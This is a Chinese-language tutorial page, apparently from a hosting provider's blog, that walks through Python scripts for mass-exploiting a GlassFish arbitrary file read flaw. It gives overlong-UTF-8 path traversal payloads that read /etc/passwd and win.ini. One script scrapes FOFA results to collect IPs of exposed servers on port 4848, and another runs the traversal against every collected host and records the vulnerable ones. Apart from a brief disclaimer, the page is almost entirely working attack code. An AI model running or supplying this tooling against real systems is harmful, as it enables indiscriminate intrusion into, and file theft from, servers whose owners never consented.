您好,登錄后才能下訂單哦!
這篇文章主要介紹“Python腳本開發漏洞的批量搜索與利用方法”,在日常操作中,相信很多人在Python腳本開發漏洞的批量搜索與利用方法問題上存在疑惑,小編查閱了各式資料,整理出簡單好用的操作方法,希望對大家解答”Python腳本開發漏洞的批量搜索與利用方法”的疑惑有所幫助!接下來,請跟著小編一起來學習吧!
嚴禁利用本文章中所提到的工具和技術進行非法攻擊,否則后果自負,上傳者不承擔任何責任。
#測試應用服務器glassfish任意文件讀取漏洞. import requests #調用requests模塊 url="輸入IP地址/域名" #下面這個二個是漏洞的payload payload_linux='/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd' #檢測linux系統的 payload_windows='/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini' #檢測windows系統 data_linux=requests.get(url+payload_linux).status_code #獲取請求后的返回源代碼,requests.get是網絡爬蟲,status_code是獲取狀態碼 data_windows=requests.get(url+payload_windows).status_code #獲取請求后的返回源代碼,requests.get是網絡爬蟲,status_code是獲取狀態碼 if data_windows==200 or data_linux==200: #200說明可以請求這個數據.則存在這個漏洞. print("漏洞存在") else: print("漏洞不存在")
效果圖:
import base64 import requests from lxml import etree import time #(1)獲取到可能存在漏洞的地址信息-借助Fofa進行獲取目標. #(2)批量請求地址信息進行判斷是否存在-單線程和多線程 search_data='"glassfish" && port="4848"' #這個是搜索的內容. headers={ #要登錄賬號的Cookie. 'Cookie':'HMACCOUNT=52158546FBA65796;result_per_page=20' #請求20個. } for yeshu in range(1,11): #搜索前10頁. url='https://fofa.info/result?page='+str(yeshu)+'&qbase64=' #這個是鏈接的前面. search_data_bs = str(base64.b64encode(search_data.encode("utf-8")), "utf-8") #對數據進行加密. urls=url+search_data_bs print('正在提取第'+str(yeshu)+'頁') #打印正在提取第的頁數. try: #請求異常也執行. result=requests.get(urls,headers=headers,timeout=1).content #requests.get請求url,請求的時候用這個headers=headers頭(就是加入Cookie請求),請求延遲 timeout=1,content將結果打印出來. #print(result.decode('utf-8')) #decode是編碼. soup=etree.HTML(result) #把結果進行提取.(調用HTML類對HTML文本進行初始化,成功構造XPath解析對象,同時可以自動修正HMTL文本) ip_data=soup.xpath('//a[@target="_blank"]/@href') #也就是爬蟲自己要的數據 ,提取a標簽,后面為@target="_blank"的href值也就是IP地址. #print(ip_data) ipdata='\n'.join(ip_data) #.join(): 連接字符串數組。將字符串、元組、列表中的元素以指定的字符(分隔符)連接生成一個新的字符串 print(ip_data) with open(r'ip.txt','a+') as f: #打開一個文件(ip.txt),f是定義的名. f.write(ipdata+'\n') #將ipdata的數據寫進去,然后換行. f.close() #關閉. except Exception as e: pass #執行后文件下面就會生成一個ip.txt文件.
效果圖:
import requests import time payload_linux='/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd' payload_windows='/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini' for ip in open('ip.txt'): #打開ip.txt文件 ip=ip.replace('\n','') #替換換行符 為空. windows_url=ip+payload_windows #請求windows linux_url=ip+payload_linux #請求linux #print(windows_url) #print(linux_url) try: print(ip) result_code_linux=requests.get(windows_url).status_code #請求linux result_code_windows=requests.get(linux_url).status_code #請求windows print("chrck->" +ip) #打印在檢測哪一個IP地址. if result_code_linux==200 or result_code_windows==200: with open(r'result.txt','a+') as f: #寫入result.txt文件. f.write(ip) #如果有漏洞就寫入ip. time.sleep(5) except Exception as e: pass
效果圖:
到此,關于“Python腳本開發漏洞的批量搜索與利用方法”的學習就結束了,希望能夠解決大家的疑惑。理論與實踐的搭配能更好的幫助大家學習,快去試試吧!若想繼續學習更多相關知識,請繼續關注億速云網站,小編會繼續努力為大家帶來更多實用的文章!
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。